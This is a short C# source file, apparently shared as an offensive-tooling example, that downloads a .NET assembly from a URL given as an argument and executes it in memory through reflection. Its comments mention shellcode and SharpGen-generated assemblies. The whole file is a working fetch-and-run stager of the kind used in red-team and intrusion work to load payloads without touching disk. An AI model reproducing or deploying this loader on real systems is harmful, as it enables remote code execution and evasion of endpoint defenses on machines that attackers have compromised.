Simple example of web fetching in memory .Net assembly executer

executer.cs

using System;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Linq;
using System.Net;
using System.Reflection;

// Compile with: 
// Windows: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:executer.exe  /platform:x64 executer.cs
// *nix mono: csc /out:executer.exe  /platform:x64 executer.cs


// simple example of in memory assembly executer
// no error handling
// if executing shellcode assemblies they must match the compiled architecture to work (e.g. x64)
// assembly is fetched from url and executed in memory
// parameter 1 is url, the other parameters are passed to the assembly unchanged
// set parameter 2 to string "null" if the assembly to be executed has an entrypoint that takes no parameters (e.g. SharpGen generated assemblies)

namespace AssemblyExecuter
{
    class Program
    {
        static void Main(string[] args)
        {
            if (args.Length < 1) {
                Console.WriteLine("Provide url to download assembly from as argument 1, arguments to pass to assembly as arguments 2+.");
                Console.WriteLine("Set argument 2 to string null for assemblies with no entry point parameters.");
                System.Environment.Exit(0); 
            }

            string url = args[0];
            Console.WriteLine("Downloading assembly from:");
            Console.WriteLine(url);
            byte[] assemblyBytes = DownloadAssembly(url);
            string [] assemblyParameters = args.Skip(1).ToArray();
            if (assemblyParameters.Length > 0) {
                Console.WriteLine("Parameters passed to assembly:");
            }
            foreach (string s in assemblyParameters){
              Console.WriteLine(s);
            }
            ExecuteAssembly(assemblyBytes, assemblyParameters);
        }

        public static byte[] DownloadAssembly(string url)
        {
            ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12;
            WebClient w = new System.Net.WebClient();
            byte[] assemblyData = w.DownloadData(url);
            return assemblyData;
        }
        
        public static void ExecuteAssembly(Byte[] bytes, string[] parameters)
        {
            Assembly assembly = Assembly.Load(bytes);
            MethodInfo methodInfo = assembly.EntryPoint;    
            if (parameters.Length == 1 && parameters[0] == "null") {
                methodInfo.Invoke(null, null);
            } else {
                object[] oparameters = new[] { parameters };
                methodInfo.Invoke(null, oparameters);
            }
            Console.WriteLine("Done.");
        }

    }
}